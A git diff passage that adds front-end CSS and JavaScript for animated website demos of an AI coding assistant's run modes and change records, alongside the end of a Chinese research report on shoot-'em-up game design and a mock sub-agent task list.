+5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式 +6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则 +7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级 +8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹 +9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系 +10. ClassicReload / GameFAQs Raiden II FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制 + +--- + +*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。* \ No newline at end of file diff --git a/website-design/exp/mock/sub-agents-conv_20260823_122836_778.json b/website-design/exp/mock/sub-agents-conv_20260823_122836_778.json new file mode 100644 index 00000000..a7a3290d --- /dev/null +++ b/website-design/exp/mock/sub-agents-conv_20260823_122836_778.json @@ -0,0 +1 @@ +{"success": true, "data": [{"task_id": "sub_1_1787459389_fd8265", "status": "completed", "summary": "调研经典弹幕射击游戏武器系统", "last_tool": "write_file", "conversation_id": "conv_20260823_122836_778", "created_at": 1787459389.187}, {"task_id": "sub_2_1787459391_a9b055", "status": "completed", "summary": "调研弹幕射击游戏敌方弹幕模式", "last_tool": "write_file", "conversation_id": "conv_20260823_122836_778", "created_at": 1787459391.087}, {"task_id": "sub_3_1787459393_3da5a5", "status": "completed", "summary": "调研像素风格弹幕游戏美术设计", "last_tool": "write_file", "conversation_id": "conv_20260823_122836_778", "created_at": 1787459393.087}]} \ No newline at end of file diff --git a/website-design/exp/site-assets/anim-demo.css b/website-design/exp/site-assets/anim-demo.css new file mode 100644 index 00000000..05cb931b --- /dev/null +++ b/website-design/exp/site-assets/anim-demo.css @@ -0,0 +1,36 @@ +/* 运行模式动画 —— 无边框无底色,直接融在星空背景上 */ + +:root { + --bg-0: #0c1120; + --bg-1: #111830; + --text-1: #eef1f8; + --text-2: #a7b0c4; + --text-3: #6b7488; + --line: rgba(168, 180, 210, 0.14); + --accent: #a9c2f0; + --accent-strong: #c1d4f6; + --ok: #7ba889; + --font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC", + "Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif; + --font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +body { + font-family: var(--font-sans); + background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 60%); + min-height: 100vh; + display: flex; + align-items: center; + justify-content: center; + color: var(--text-1); +} + +.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; } + +.hint { font-size: 13px; color: var(--text-3); } + + +/* demo 页动画宿主尺寸 */ +.anim-host { width: 460px; height: 388px; } diff --git a/website-design/exp/site-assets/anim-modes.js b/website-design/exp/site-assets/anim-modes.js new file mode 100644 index 00000000..d530e554 --- /dev/null +++ b/website-design/exp/site-assets/anim-modes.js @@ -0,0 +1,321 @@ +/* 运行模式动画 —— 可复用模块(主页 feature 行 / anim-demo 页共用) + * AnimModes.init(container):在容器内建 DOM(模式 tab + 消息区 + 输入栏 + 假鼠标), + * 点击 tab 切换并从头播放,再次点击重播。 + */ +window.AnimModes = (function () { + 'use strict'; + + function init(container) { + container.innerHTML = + '
' + + '
' + + '' + + '' + + '' + + '
' + + '
' + + '
' + + '' + + '
'; + + var chat = container.querySelector('.anim-chat'); + var composer = container.querySelector('.anim-composer'); + var composerText = composer.querySelector('.anim-composer-text'); + var cursor = container.querySelector('.anim-cursor'); + var tabs = Array.prototype.slice.call(container.querySelectorAll('.anim-mode-tab')); + var animWindow = container.querySelector('.anim-window'); + /* ── 代次令牌:切换模式时作废旧序列的所有后续步骤 ── */ + var gen = 0; + + /* rAF 累计「可见时间」的等待:后台标签页 rAF 暂停,流程随之冻结,恢复时从冻结点继续—— + setTimeout 在后台只是降频不会停,会攒动画导致恢复瞬间全部放完 */ + function rafWait(ms) { + return new Promise(function (resolve) { + var acc = 0, last = performance.now(); + function tick(now) { + acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */ + last = now; + if (acc >= ms) { resolve(); return; } + requestAnimationFrame(tick); + } + requestAnimationFrame(tick); + }); + } + + /** 可中断 sleep:醒来后发现已切换模式则抛错终止序列 */ + async function step(ms, myGen) { + await rafWait(ms); + if (myGen !== gen) throw new Error('cancelled'); + } + + function el(tag, cls, text) { + var e = document.createElement(tag); + if (cls) e.className = cls; + if (text != null) e.textContent = text; + return e; + } + + /* ── 基础构件 ── */ + + /** 入场元素统一入口:挂载并平滑滚到底部(旧内容自然顶出) */ + function push(node) { + chat.appendChild(node); + requestAnimationFrame(function () { + chat.scrollTo({ top: chat.scrollHeight, behavior: 'smooth' }); + }); + return node; + } + + function addUserMsg(text) { + return push(el('div', 'msg-user anim-item', text)); + } + + function addThinkRow() { + var row = el('div', 'think-row anim-item'); + var dots = el('span', 'think-dots'); + dots.appendChild(el('i')); + dots.appendChild(el('i')); + dots.appendChild(el('i')); + row.appendChild(dots); + return push(row); + } + + function removeEl(e) { + if (e && e.parentNode) e.parentNode.removeChild(e); + } + + /** 往目标元素里逐字打出(带光标),返回 Promise */ + async function typeInto(span, text, myGen, cps) { + var caret = el('span', 'type-caret'); + span.parentNode.insertBefore(caret, span.nextSibling); + for (var i = 0; i < text.length; i++) { + span.textContent += text[i]; + chat.scrollTop = chat.scrollHeight; // 打字时保持底部可见 + await step(cps || 34, myGen); + } + removeEl(caret); + } + + /** AI 裸文字消息:逐字流式 */ + async function typeAiMsg(text, myGen) { + var b = el('div', 'msg-ai anim-item'); + var span = el('span'); + b.appendChild(span); + push(b); + await typeInto(span, text, myGen, 34); + return b; + } + + /** 工具摘要行:状态图标 + intent + 关键参数(不显示工具名) */ + async function addToolLine(intent, param, runMs, myGen) { + var b = el('div', 'tool-line is-running anim-item'); + b.appendChild(el('span', 'tool-status')); + b.appendChild(el('span', 'tool-intent', intent)); + if (param) b.appendChild(el('span', 'tool-param', param)); + push(b); + await step(runMs, myGen); + b.classList.remove('is-running'); + b.classList.add('is-done'); + return b; + } + + /* ── 假鼠标:出现 → 移到目标中心 → 点击 → 消失 ── */ + + function cursorMoveTo(x, y, immediate) { + if (immediate) cursor.style.transition = 'none'; + cursor.style.transform = 'translate(' + x + 'px,' + y + 'px)'; + if (immediate) { + cursor.getBoundingClientRect(); // 强制 reflow,恢复过渡 + cursor.style.transition = ''; + } + } + + async function cursorClick(targetEl, myGen) { + var win = animWindow; + var wr = win.getBoundingClientRect(); + var tr = targetEl.getBoundingClientRect(); + cursorMoveTo(wr.width - 60, wr.height - 40, true); + cursor.classList.add('is-visible'); + await step(260, myGen); + cursorMoveTo(tr.left - wr.left + tr.width / 2 - 4, tr.top - wr.top + tr.height / 2 - 2, false); + await step(760, myGen); + cursor.classList.add('is-clicking'); + targetEl.classList.add('is-pressed'); + await step(140, myGen); + cursor.classList.remove('is-clicking'); + targetEl.classList.remove('is-pressed'); + await step(120, myGen); + cursor.classList.remove('is-visible'); + } + + /* ── 模式一:计划 ── */ + + async function playPlan(myGen) { + addUserMsg('帮我给这个项目加一个设置页面'); + await step(700, myGen); + + var think = addThinkRow(); + await step(1300, myGen); + removeEl(think); + + await addToolLine('规划设计页面', '.astrion/plan/settings-page.md', 900, myGen); + await step(350, myGen); + + // 计划:标题与条目全部逐字流式 + var body = el('div', 'plan-body anim-item'); + push(body); + var title = el('div', 'plan-title'); + var titleSpan = el('span'); + title.appendChild(titleSpan); + body.appendChild(title); + await typeInto(titleSpan, '设置页面开发计划', myGen, 55); + + var items = ['梳理现有个性化设置字段与保存接口', '编写页面布局与表单组件', '接入保存并构建验证']; + for (var i = 0; i < items.length; i++) { + var row = el('div', 'plan-item'); + row.appendChild(el('b', null, (i + 1) + '.')); + var itemSpan = el('span'); + row.appendChild(itemSpan); + body.appendChild(row); + await typeInto(itemSpan, items[i], myGen, 26); + await step(120, myGen); + } + + var actions = el('div', 'plan-actions anim-item'); + var approve = el('button', 'plan-btn is-primary', '批准计划'); + actions.appendChild(approve); + body.appendChild(actions); + chat.scrollTo({ top: chat.scrollHeight, behavior: 'smooth' }); + await step(700, myGen); + + // 鼠标点击批准 + await cursorClick(approve, myGen); + approve.textContent = '已批准 ✓'; + approve.classList.remove('is-primary'); + approve.classList.add('is-approved'); + await step(700, myGen); + + // 按钮淡出收起,释放垂直空间 + actions.classList.add('is-gone'); + await step(380, myGen); + removeEl(actions); + + // 批准后开始实施 + await typeAiMsg('好的,开始实施。', myGen); + await step(250, myGen); + await addToolLine('编写设置页面组件', 'SettingsPanel.tsx', 1000, myGen); + await step(280, myGen); + await addToolLine('构建验证', 'npm run build', 1000, myGen); + await step(320, myGen); + await typeAiMsg('设置页面已完成,构建通过。', myGen); + } + + /* ── 模式二:询问 ── */ + + async function playAsk(myGen) { + addUserMsg('帮我优化一下这个页面的性能'); + await step(700, myGen); + + var think = addThinkRow(); + await step(1100, myGen); + removeEl(think); + + await typeAiMsg('好的,我先和您聊聊。这个页面是首次加载慢,还是滚动、交互的时候慢?', myGen); + await step(500, myGen); + + // 输入栏出现,用户逐字输入回答 + composerText.textContent = ''; + composer.classList.add('is-visible'); + await step(450, myGen); + var reply = '主要是首次加载慢'; + for (var i = 0; i < reply.length; i++) { + composerText.textContent += reply[i]; + await step(70, myGen); + } + await step(600, myGen); + + // 发送:输入栏淡出,内容变成右侧用户气泡 + composer.classList.add('is-sent'); + await step(240, myGen); + composer.classList.remove('is-visible', 'is-sent'); + composerText.textContent = ''; + addUserMsg(reply); + await step(700, myGen); + + // 模型开始调查 + var think2 = addThinkRow(); + await step(1000, myGen); + removeEl(think2); + + await typeAiMsg('好的,我来调查一下。', myGen); + await step(250, myGen); + await addToolLine('分析构建产物体积', 'npm run build', 1200, myGen); + await step(300, myGen); + await typeAiMsg('找到了:图表库被全量引入,首屏多出 2.1MB。', myGen); + } + + /* ── 模式三:执行 ── */ + + async function playExecute(myGen) { + addUserMsg('把页面上的按钮都改成蓝色'); + await step(700, myGen); + + var think = addThinkRow(); + await step(900, myGen); + removeEl(think); + + await typeAiMsg('好的,我来改。', myGen); + await step(250, myGen); + + await addToolLine('修改按钮颜色', 'css/style.css', 1000, myGen); + await step(300, myGen); + await addToolLine('构建验证', 'npm run build', 1100, myGen); + await step(350, myGen); + + await typeAiMsg('已完成,所有按钮已切换为蓝色。', myGen); + } + + /* ── 调度 ── */ + + var PLAYERS = { plan: playPlan, ask: playAsk, execute: playExecute }; + + function setActiveTab(mode) { + tabs.forEach(function (t) { + t.classList.toggle('is-active', t.dataset.mode === mode); + }); + } + + function play(mode) { + gen += 1; + var myGen = gen; + chat.innerHTML = ''; + chat.scrollTop = 0; + composerText.textContent = ''; + composer.classList.remove('is-visible', 'is-sent'); + cursor.classList.remove('is-visible', 'is-clicking'); + setActiveTab(mode); + PLAYERS[mode](myGen).catch(function (e) { + if (e && e.message !== 'cancelled') throw e; + }); + } + + tabs.forEach(function (t) { + t.addEventListener('click', function () { play(t.dataset.mode); }); + }); + + // 首次进入默认播放「计划」——进入视口才开始:页面打开时用户可能还没滚到功能区,避免错过开场 + var started = false; + var io = new IntersectionObserver(function (entries) { + if (!started && entries[0].isIntersecting) { + started = true; + io.disconnect(); + play('plan'); + } + }, { threshold: 0.3 }); + io.observe(container); + } + + return { init: init }; +})(); diff --git a/website-design/exp/site-assets/anim-records.css b/website-design/exp/site-assets/anim-records.css new file mode 100644 index 00000000..ffa77edd --- /dev/null +++ b/website-design/exp/site-assets/anim-records.css @@ -0,0 +1,301 @@ +/* 修改记录动画 —— 模块样式(主页 feature 行 / anim3-demo 页共用) + 无边框无底色,融于星空;无 glow。token(--text-1 等)由宿主页面提供; + 动画私有的三个色定义在 .anim3-window 作用域。 */ + +.anim3-window { + --danger: #d47b6b; /* diff 删除行红,仅本动画作用域 */ + /* 收盒文件:与编辑中的 3D 纸同款底色,边框用更亮的白边(叠放分层清晰) */ + --file-paper: var(--bg-panel); + --file-line: rgba(238, 240, 246, 0.35); + position: relative; + width: 100%; + height: 100%; + overflow: hidden; +} + +/* 舞台:固定 540×380 逻辑尺寸,JS 按容器等比缩放居中(transform: translate+scale) */ +.anim3-stage { + position: absolute; + left: 50%; + top: 50%; + width: 540px; + height: 380px; + overflow: hidden; + cursor: pointer; + user-select: none; /* 演示区禁止选中文本,避免鼠标划过时出现系统选中高亮(黑光) */ + -webkit-user-select: none; +} + +/* ───────── 智能体(右上) ───────── */ + +/* 尺寸与 04 版本控制的智能体一致(70×70) */ +.writer { + position: absolute; + right: 58px; + top: 26px; + width: 70px; + height: 70px; +} +.writer-avatar { + display: block; + width: 70px; + height: 70px; + color: var(--text-1); +} +.writer-avatar .astrion-avatar { width: 100%; height: 100%; } + +/* ───────── 笔(双层结构) ───────── + 外层 pen-pos:JS 逐帧/过渡定位,使笔尖精确落在文字进度点上; + 内层 svg:以笔尖为圆心旋转摇摆(transform-origin 在笔尖), + 既有晃动,笔尖又不会脱离位置。 */ + +.pen-pos { + position: absolute; + left: 0; + top: 0; + z-index: 40; /* 最高层:高于 3D 纸、盒子(30)与堆叠纸(21~23),笔不能被挡 */ + width: 40px; + height: 40px; + color: var(--accent); + will-change: transform; + transition: transform 0.45s cubic-bezier(.4,0,.2,1); /* 飞行/移动用过渡 */ +} +.pen-pos.is-live { + transition: none; /* 写字逐帧驱动时关闭过渡 */ +} +.writer-pen { + width: 40px; + height: 40px; + /* origin = 笔尖视觉触点(SVG (2.65,21.02) → 40px 盒内 (4.4,35.0)),与 nibRef 同点: + 摇摆时笔尖钉住不动,只有笔身晃 */ + transform-origin: 11% 87.6%; +} +.writer-pen.is-writing { + animation: pen-write 0.42s ease-in-out infinite; +} +/* 擦除:origin 切到笔尾橡皮触点(SVG (19.2,4.8) → 盒内 (32,8)),与 eraserRef 同点 */ +.writer-pen.is-erasing { + transform-origin: 80% 20%; +} +@keyframes pen-write { + 0%, 100% { transform: rotate(-5deg); } + 50% { transform: rotate(6deg); } +} + +/* ───────── 3D 倾斜的纸 ───────── */ +/* perspective 让纸呈平行四边形(不倾斜就只是一条线) */ + +.paper3d { + position: absolute; + left: 280px; + top: 130px; + width: 192px; + height: 122px; + transform: perspective(760px) rotateX(42deg) rotateZ(-7deg); + transform-style: preserve-3d; +} + +.paper-sheet { + width: 100%; + height: 100%; + background: var(--bg-panel); + border: 1px solid var(--line); + border-radius: 6px; + padding: 18px 16px; + display: flex; + flex-direction: column; + gap: 14px; +} + +/* 内容行:横线代表一行内容(行宽由 JS 逐帧驱动,不用 transition;opacity 过渡供轮间换内容淡出) */ +.pline { + position: relative; + height: 4px; + border-radius: 2px; + background: var(--text-3); + opacity: 0.75; + transition: opacity 0.28s ease; +} +.paper3d.is-refilling .pline { opacity: 0; } +/* 线右端锚点:0 尺寸,随线的 3D/倾斜变换,供 JS 实测真实右端点 */ +.pline-end { + position: absolute; + right: 0; + top: 50%; + width: 0; + height: 0; + margin-top: -0px; /* 点本身无尺寸,top:50% 即线厚中心 */ +} +/* 写入行不再用绿色:与其他行同色(修改记录靠的是 diff 区,不是纸面变色) */ + +/* ───────── diff 区 ───────── */ + +.diff-view { + position: absolute; + left: 134px; /* 盒子水平中线(86+48),diff 中心对齐盒子中线 */ + transform: translateX(-50%); + top: 0; + font-family: var(--font-mono); + font-size: 12.5px; + line-height: 1.5; + display: flex; + flex-direction: column; + gap: 3px; + z-index: 20; /* 盒内堆叠纸(21~23)之下——genie 时已隐藏,由切片接管 */ + border-radius: 6px; + transition: background 0.25s ease; +} +/* genie 前:四行 diff 合为一张纸的底板(不加 outline:shorthand 不可过渡,会闪白框) */ +.diff-view.is-sheet { + background: rgba(24, 30, 52, 0.92); +} +/* 轮间重置:禁用过渡,红绿底色/符号瞬时消失(否则恢复显示时会闪一下空白红绿块) */ +.diff-view.no-fade { transition: none; } +.diff-view.no-fade .dline::before { transition: none; } +.diff-view.no-fade .dsign { transition: none; } + +/* ───────── 收盒文件卡片(单元素裁切式 genie) ───────── + 卡片全程同一个 DOM 元素:clip-path 多边形裁切(不压缩内容), + body 每帧定位到轮廓包围盒,文字矢量缩小——全程清晰无损 */ +.file-flight { + position: absolute; + pointer-events: none; + opacity: 0; + transition: opacity 0.73s ease, transform 0.22s ease; + /* SVG 视口默认 hidden 会把描边外半侧(0.5px)裁掉——visible 让边缘描边完整 */ + overflow: visible; + /* origin 必须在基础规则上恒定(绕底部翘起,底边不露盒口)。 + 若只写在 is-hover 里,移出时 origin 瞬间跳回默认中心点,视觉上就是瞬间弹回 */ + transform-origin: 50% 100%; +} +.file-flight.is-on { opacity: 1; } +/* 三轮收盒后可交互:hover 微抬+向右倾(选中感) */ +.file-flight.is-hover { + transform: translate(2px, -2px) rotate(2.5deg); +} +/* 倒出查看时封面文字淡出(diff 层接管内容) */ +.file-cover-name, .file-cover-stat { transition: opacity 0.3s ease; } +.file-flight.is-bare .file-cover-name, +.file-flight.is-bare .file-cover-stat { opacity: 0; } +/* SVG 卡片:path 轮廓即卡片外形——fill 纸色 + stroke 描边跟随轮廓(S 曲线斜边也有描边) */ +.file-flight-shape { + fill: var(--file-paper); + stroke: var(--file-line); + stroke-width: 1; +} +.file-cover-name { + font-family: var(--font-mono); + font-size: 15px; + letter-spacing: 0.02em; + fill: var(--text-3); /* 和纸上线条同色 */ +} +.file-cover-stat { + font-family: var(--font-mono); + font-size: 11px; +} +.file-cover-stat .add { fill: var(--ok); } +.file-cover-stat .del { fill: var(--danger); } + +/* 卡片热区:三层卡只露出顶边一截,热区从顶边向下延伸到盒口前缘(JS 定高); + 重叠区归层级更高(更靠前)的卡 */ +.card-hotspot { + position: absolute; + cursor: pointer; +} + +/* 倒出查看的 diff 层:位置同 diff-view(卡片倒出落点),四行逐行淡入;点击收回 */ +.replay-diff { + position: absolute; + left: 134px; + transform: translateX(-50%); + top: 0; + font-family: var(--font-mono); + font-size: 12.5px; + line-height: 1.5; + display: flex; + flex-direction: column; + gap: 3px; + z-index: 26; /* 高于盒内堆叠卡(21~23);与盒前壁(30)不重叠(位于 diff 区) */ + opacity: 0; + transition: opacity 0.3s ease; + cursor: pointer; +} +.replay-diff.is-on { opacity: 1; } +.replay-diff .dline { + opacity: 0; + transform: translateY(3px); + transition: opacity 0.3s ease, transform 0.3s ease; +} +.replay-diff.is-on .dline { opacity: 1; transform: none; } +/* 收回:整体快速淡出(行不再逐行延迟,避免拖慢收回节奏) */ +.replay-diff.is-closing { opacity: 0; transition: opacity 0.22s ease; } +.replay-diff.is-closing .dline { transition: none; transition-delay: 0ms; opacity: 1; transform: none; } + +.dline { + position: relative; + display: flex; + gap: 12px; + padding: 3px 10px; + border-radius: 4px; + /* 容器本身始终不透明:转正落位的字符立即可见,不经历消失→淡入; + 红/绿底色由 ::before 独立淡入,+/- 符号独立淡入 */ + white-space: nowrap; +} +.dline::before { + content: ''; + position: absolute; + inset: 0; + border-radius: 4px; + opacity: 0; + transition: opacity 0.3s ease; + pointer-events: none; +} +.dline.is-del::before { background: rgba(212, 123, 107, 0.08); } +.dline.is-add::before { background: rgba(123, 168, 137, 0.10); } +.dline.is-shown::before { opacity: 1; } +.dline .dsign { flex: none; width: 10px; opacity: 0; transition: opacity 0.3s ease; } +.dline.is-shown .dsign { opacity: 1; } +.dline.is-del { color: var(--danger); } +.dline.is-add { color: var(--ok); } + +/* diff 行内单字符:占位时透明;落位转正后 is-lit 实色显示 */ +.dch { opacity: 0; } +.dch.is-lit { opacity: 1; } + +/* 飘行的字母:从笔的擦/写位置飞向 diff 行字符位,落位后转正为流内字符 */ +.dch-ghost { + position: absolute; + left: 0; + top: 0; + font-family: var(--font-mono); + font-size: 12.5px; + line-height: 1.5; + pointer-events: none; + /* 不设 will-change:合成层位图与转正后的矢量重绘之间会出现大小/清晰度跳变 */ + transition: transform 0.34s cubic-bezier(.35,.1,.25,1); + z-index: 35; /* 高于盒前壁(30),飞行字母不被盒子挡 */ +} + +/* 笔尖/橡皮定位参考点:visibility 隐藏(保留几何盒供 getBoundingClientRect 实测), + 同时清掉 fill/stroke 防止从 SVG 根继承描边显形 */ +.pen-ref { visibility: hidden; fill: none; stroke: none; pointer-events: none; } + +/* ───────── 收件箱(genie 收盒) ───────── + 后壁 z10(纸挡住它)、前壁 z30(它挡住纸)——纸从前后壁之间沉入 */ +.inbox-part { + position: absolute; + left: 86px; /* 中心线 x=134 */ + top: 166px; + width: 96px; + height: 96px; + color: var(--text-1); + opacity: 0; + transition: opacity 0.35s ease; + pointer-events: none; +} +.inbox-part.is-shown { opacity: 1; } +.box-back { z-index: 10; } +.box-front { z-index: 30; } +/* 前壁盒身填实色:不能透出后面收进去的纸(凹口线保持描边不填) */ +.box-front path { fill: var(--bg-1); } +/* 盒内纸叠:genie 终态的文件卡片(.file-flight)本身就是插在盒子里的纸 */ diff --git a/website-design/exp/site-assets/anim-records.js b/website-design/exp/site-assets/anim-records.js new file mode 100644 index 00000000..0529a1b9 --- /dev/null +++ b/website-design/exp/site-assets/anim-records.js @@ -0,0 +1,899 @@ +/* 修改记录动画 —— 可复用模块(主页 feature 行 / anim3-demo 页共用) + * AnimRecords.init(container):在容器内建 DOM 并自动播放; + * 三轮收盒后自动轮播三张卡的 diff 详情,用户按下卡片暂停轮播 5 秒。 + * + * 舞台固定 540×380 逻辑尺寸,按容器等比缩放居中(transform scale)—— + * 所有内部坐标不随容器变化;getBoundingClientRect 读数是缩放后的视口值, + * 统一除以 curScale 换算回舞台本地坐标。 + */ + +window.AnimRecords = (function () { + 'use strict'; + + var LOGICAL_W = 540, LOGICAL_H = 380; + + function init(container) { + container.innerHTML = + '
' + + '
' + + '
' + + '
' + + '' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '' + + '' + + '
' + + '
-theme: \'dark\'
' + + '
+theme: \'classic\'
' + + '
-fontSize: 13, lineHeight: 1.4
' + + '
+fontSize: 14, lineHeight: 1.6
' + + '
' + + '
' + + '
'; + + var stage = document.getElementById('anim3Stage'); + var paper = document.getElementById('paper'); + var penPos = document.getElementById('penPos'); + var pen = document.getElementById('writerPen'); + var boxBack = document.getElementById('boxBack'); + var boxFront = document.getElementById('boxFront'); + var diffView = document.getElementById('diffView'); + var lines = Array.prototype.slice.call(paper.querySelectorAll('.pline')); + var dlines = Array.prototype.slice.call(diffView.querySelectorAll('.dline')); + + // 挂载六边形眼睛(眨眼 + 追踪) + if (window.AstrionAvatar) { + AstrionAvatar.mount(document.getElementById('writerAvatar'), { mode: 'idle', blink: true, track: true }); + } + + /* 等比缩放:舞台固定 540×380 逻辑尺寸,按容器 min(w/540, h/380) 缩放居中。 + 垂直方向按内容中心(CONTENT_CY)对齐容器中心:内容包围盒为 diff 顶 0 ~ 盒底 262, + 中心 131 ≠ 舞台中心 190,直接居中会让整体视觉偏上 */ + var CONTENT_CY = 131; + var curScale = 1; + function updateScale() { + var w = container.clientWidth, h = container.clientHeight; + curScale = Math.min(w / LOGICAL_W, h / LOGICAL_H) || 1; + stage.style.top = 'calc(50% + ' + ((LOGICAL_H / 2 - CONTENT_CY) * curScale).toFixed(1) + 'px)'; + stage.style.transform = 'translate(-50%, -50%) scale(' + curScale + ')'; + } + if (window.ResizeObserver) new ResizeObserver(updateScale).observe(container); + window.addEventListener('resize', updateScale); + + /* 视口 rect → 舞台本地坐标:stage 被 scale,差值统一除 curScale。 + sr 一律现场重测:擦写/飞行序列长达数百 ms,外部缓存的旧 sr 在页面滚动后已过期, + 与调用方刚实测的 rect 相差一个滚动量——文字的起点终点就会跟着页面滚动歪掉 */ + function toLocal(rect, sr) { + sr = stageRect(); + return { + left: (rect.left - sr.left) / curScale, + top: (rect.top - sr.top) / curScale, + width: rect.width / curScale, + height: rect.height / curScale + }; + } + + var gen = 0; + + /* 笔尖/橡皮的精确位置不再手调像素: + * SVG 内放了两个隐形参考点(penNibRef / penEraserRef), + * 运行时 getBoundingClientRect 实测其渲染位置做补偿—— + * 无论笔怎么旋转/摇摆,作用点都精确钉在目标上。 */ + var nibRef = document.getElementById('penNibRef'); + var eraserRef = document.getElementById('penEraserRef'); + var penTx = 0, penTy = 0; + + /* 笔的初始位(被智能体拿着):笔尖所在点,笔身斜跨六边形。 + 与 04 同款手持偏移:writer 盒左上 (412,26) + (46,58) */ + var PEN_HOME = { x: 458, y: 84 }; + + /* 所有计时都基于 rAF 累计「可见时间」:后台标签页 rAF 暂停,整个动画流程随之冻结, + 恢复可见时从冻结点继续——setTimeout 在后台只是降频不会停,会攒动画导致恢复瞬间全放完 */ + function rafWait(ms) { + return new Promise(function (resolve) { + var acc = 0, last = performance.now(); + function tick(now) { + acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */ + last = now; + if (acc >= ms) { resolve(); return; } + requestAnimationFrame(tick); + } + requestAnimationFrame(tick); + }); + } + + async function step(ms, myGen) { + await rafWait(ms); + if (myGen !== gen) throw new Error('cancelled'); + } + + function el(tag, cls) { + var e = document.createElement(tag); + if (cls) e.className = cls; + return e; + } + + function stageRect() { return stage.getBoundingClientRect(); } + + /* 缓动 */ + function easeOut(p) { return 1 - (1 - p) * (1 - p); } + function easeInOut(p) { return p < 0.5 ? 2 * p * p : 1 - 2 * (1 - p) * (1 - p); } + + /* rAF 逐帧驱动,进度按可见时间累计(后台冻结,恢复不跳变);返回 false/取消时提前结束 */ + function tween(ms, fn, myGen) { + return new Promise(function (resolve) { + var acc = 0, last = performance.now(); + function tick(now) { + if (myGen !== gen) { resolve(); return; } + acc += Math.min(now - last, 100); + last = now; + var p = Math.min(acc / ms, 1); + fn(p); + if (p >= 1) { resolve(); return; } + requestAnimationFrame(tick); + } + requestAnimationFrame(tick); + }); + } + + function setPen(x, y) { + penTx = x; penTy = y; + penPos.style.transform = 'translate(' + x.toFixed(1) + 'px,' + y.toFixed(1) + 'px)'; + } + + /* 手动微调(css px):数据对准后仍有轻微视觉偏差时在这里调,用户肉眼验收 */ + var NIB_TWEAK = { x: 0, y: -1.8 }; + var ERASER_TWEAK = { x: 0, y: 0 }; + + /* 把参考点精确移到舞台坐标 (x, y):实测当前位置,差值补偿到外层 translate,一次收敛 */ + function refTo(refEl, x, y, sr) { + sr = stageRect(); /* 现场重测,同 toLocal */ + var r = refEl.getBoundingClientRect(); + var cx = (r.left + r.width / 2 - sr.left) / curScale; + var cy = (r.top + r.height / 2 - sr.top) / curScale; + setPen(penTx + (x - cx), penTy + (y - cy)); + } + function nibTo(x, y, sr) { refTo(nibRef, x + NIB_TWEAK.x, y + NIB_TWEAK.y, sr); } + function eraserTo(x, y, sr) { refTo(eraserRef, x + ERASER_TWEAK.x, y + ERASER_TWEAK.y, sr); } + + /* 行右端进度点的舞台坐标:倾斜线的包围盒中心≠真实右端点, + * 用线内右端锚点(.pline-end)的实测位置,兼容 3D 透视 + rotZ 倾斜 */ + function lineTip(line, sr) { + sr = stageRect(); /* 现场重测,同 toLocal */ + var r = line.querySelector('.pline-end').getBoundingClientRect(); + return { x: (r.left + r.width / 2 - sr.left) / curScale, y: (r.top + r.height / 2 - sr.top) / curScale }; + } + function nibToLineTip(line, sr) { + var t = lineTip(line, sr); + nibTo(t.x, t.y, sr); + } + + /* 三轮内容:Dockerfile / Python / TS,不全是一种代码; + 纸上横线长度 ≈ 对应行字符数(~2.3%/字符)——线长与内容长短一致; + file/tone:收盒前渐变覆盖的文件卡(红/黄/绿,露出一截即可分辨)。 */ + var ROUNDS = [ + { + file: 'Docker', + paperW: [34, 26, 59, 44], + edits: [ + { newW: 26, del: 'EXPOSE 8080', add: 'EXPOSE 8091' }, + /* 最长行 26 字符(≈237px 宽):diff 左缘保持在 stage 内(>15px),否则左缘描边被 stage 裁掉 */ + { newW: 53, del: 'CMD ["python", "server.py"]', add: 'CMD ["python", "main.py"]' } + ] + }, + { + file: 'api.py', + paperW: [56, 35, 46, 30], + edits: [ + { newW: 35, del: 'MAX_RETRIES = 3', add: 'MAX_RETRIES = 5' }, + { newW: 46, del: 'request_timeout = 30', add: 'request_timeout = 60' } + ] + }, + { + file: 'theme.ts', + paperW: [46, 30, 66, 58], + edits: [ + { newW: 37, del: "theme: 'dark'", add: "theme: 'classic'" }, + { newW: 66, del: 'fontSize: 13, lineHeight: 1.4', add: 'fontSize: 14, lineHeight: 1.6' } + ] + } + ]; + /* 盒内纸堆叠透视(按盒子 SVG 侧边斜率 dx/dy=0.5 推导:每向深处 1px 两侧共收 1px): + 每往里一张纸,顶边抬高 ~10px、宽度按侧边角度同步收窄、只露出顶部一截。 + topY/bottomY 为 stage 坐标,wRatio 为相对盒子图标宽的比例。 */ + /* 等比透视:三张文件本身差不多高,随深度每层缩 ~8%(与宽度收敛同比率); + 底边都落在盒口附近(194/183/172)——每张收进去的瞬间都是真的插进盒子,不悬空; + 顶边各露 5px(底边落差 11px - 高度缩 6px ≈ 5px) */ + /* 等比透视:三张文件本身差不多高,随深度略缩;底边都落在盒口附近—— + 每张收进去的瞬间都是真的插进盒子,不悬空;顶边各露 5px。 + (坐标基于盒子下移 50px 后:盒口 y=224) */ + var FILED_SPECS = [ + { topY: 182, bottomY: 234, wRatio: 0.66 }, /* 最前:高 52,最宽、最低、贴前壁 */ + { topY: 177, bottomY: 223, wRatio: 0.608 }, /* 中间:高 46 */ + { topY: 172, bottomY: 212, wRatio: 0.556 } /* 最里:高 40,底边在盒口线上 */ + ]; 